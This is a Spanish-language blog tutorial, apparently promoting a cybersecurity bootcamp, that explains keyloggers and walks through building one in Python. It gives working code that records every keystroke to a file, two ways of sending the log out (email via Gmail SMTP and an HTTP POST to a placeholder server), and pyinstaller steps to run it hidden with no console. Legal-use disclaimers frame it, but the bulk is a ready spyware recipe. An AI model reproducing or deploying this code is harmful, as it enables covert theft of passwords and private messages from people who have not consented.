Hoy te contaré qué es y cómo hacer un keylogger, una herramienta muy útil para mantener la seguridad de los sistemas y de nuestros datos en la red, una batalla tan antigua como la lucha entre la Luz y la Oscuridad en Star Wars. En ese sentido, conocer las tácticas de los atacantes es esencial para mantenernos un paso adelante de sus intenciones e, incluso, podemos usarlas a nuestro favor para reforzar la ciberseguridad.

¿Qué es un keylogger?
Un keylogger es un software que registra cada una de las pulsaciones que haces en un teclado. Aunque a menudo están asociados con actividades ilícitas, como el robo de información confidencial, esta tecnología también se utiliza para fines legales y de ciberseguridad, por ejemplo, para monitorear la actividad en las empresas, hacer investigaciones en seguridad informática, establecer un control parental o realizar pruebas de software.
De esta manera, los keyloggers pueden ser dispositivos físicos conectados al teclado o softwares, es decir, programas que registran las teclas que has presionado y las guardan en un archivo o las envían a un servidor.
En este artículo, me voy a enfocar en la versión de software usando Python. Sin embargo, también debo aclarar que el uso de keyloggers con fines maliciosos es ilegal, por lo que este tutorial tiene un propósito meramente educativo y debe usarse con responsabilidad.
¿Cómo hacer un keylogger con Python?
A continuación, te voy a enseñar cómo hacer un keylogger básico en Python utilizando la librería pynput, que nos permite monitorear el teclado. Veamos cuál es el paso a paso:
Instala las dependencias
Antes que nada, necesitas instalar la librería pynput
, ya que esta nos permitirá registrar las teclas presionadas.
pip install pynput
Escribe el script del keylogger
🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴
Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada
👉 Prueba gratis el Bootcamp en Ciberseguridad por una semanaLuego, debes crea un archivo llamado keylogger.py y copiar el siguiente código:
import pynput
from pynput.keyboard import Key, Listener
import logging
# Configurar el archivo donde se guardarán las pulsaciones
direccion_log = "keylog.txt"
logging.basicConfig(filename=direccion_log, level=logging.DEBUG, format='%(asctime)s: %(message)s')
# Funciones para registrar las teclas presionadas
def on_press(key):
logging.info(str(key))
# Iniciar el listener
with Listener(on_press=on_press) as listener:
listener.join()
Ejecuta el keylogger
El siguiente paso es guardar el archivo y ejecutarlo con el siguiente comando:
python keylogger.py
Esto es lo que va a iniciar el keylogger, que registrará todas las pulsaciones de teclas en el archivo keylog.txt.
¿Cómo hacer un keylogger remoto?
En el caso de que quieras que el keylogger funcione a distancia y envíe la información a otro dispositivo o servidor, debes modificar el script para que envíe los registros de las teclas por correo electrónico o los suba a un servidor remoto. Te muestro cómo hacerlo:
Enviar registros por correo electrónico
Para esto, puedes usar la librería smtplib de Python, ya que esta permite enviar correos automáticamente:
import smtplib
from email.mime.text import MIMEText
def enviar_email():
remitente = "[email protected]"
destinatario = "[email protected]"
contraseña = "tupassword"
with open("keylog.txt", "r") as archivo:
mensaje = MIMEText(archivo.read())
mensaje["Subject"] = "Registro de teclas"
mensaje["From"] = remitente
mensaje["To"] = destinatario
servidor = smtplib.SMTP("smtp.gmail.com", 587)
servidor.starttls()
servidor.login(remitente, contraseña)
servidor.sendmail(remitente, destinatario, mensaje.as_string())
servidor.quit()
Al ejecutar esta función dentro del script del keylogger, cada cierto tiempo, va a enviar los registros almacenados de manera automática.
Subir los registros a un servidor
Otra opción que puedes considerar es enviar los datos a un servidor utilizando una petición HTTP con requests. Por ejemplo:
import requests
def enviar_a_servidor():
url = "http://tu-servidor.com/recibir_logs"
with open("keylog.txt", "r") as archivo:
data = {"contenido": archivo.read()}
requests.post(url, data=data)
Además, puedes programar una tarea para que esta función se ejecute cada cierto tiempo.
¿Cómo mejorar el keylogger?
Si quieres mejorar este keylogger, debes saber que puedes ejecutarlo en segundo plano. Básicamente, puedes modificar el script para que se ejecute sin que el usuario lo note, utilizando pyinstaller para convertirlo en un archivo ejecutable:
pip install pyinstaller
pyinstaller --onefile --noconsole keylogger.py
Al hacer esto, se genera un archivo ejecutable que puede trabajar en segundo plano.
Uso responsable de los keylogger
Te mencionaba al principio del artículo que los keylogger tienen aplicaciones legales y que, de hecho, pueden ser extremadamente útiles en ciertos contextos. Sin embargo, también pueden ser utilizados con fines malintencionados, por lo que quiero enfatizar en que el acceso no autorizado a la información de otra persona sin su consentimiento es ilegal y puede tener graves consecuencias. Así que ve por el camino de la luz y utiliza correctamente lo que has aprendido, joven padawan.
En los tiempos que vivimos, la ciberseguridad es más necesaria que nunca, así que si este artículo despertó tu interés por la ciberseguridad y la programación, no esperes para empezar una nueva carrera con una gran proyección y excelentes oportunidades laborales. En nuestro Bootcamp en Ciberseguridad, aprenderás a proteger sistemas, detectar vulnerabilidades y fortalecer la seguridad digital de las empresas.
¡Transforma tu vida y la manera en que funciona el mundo!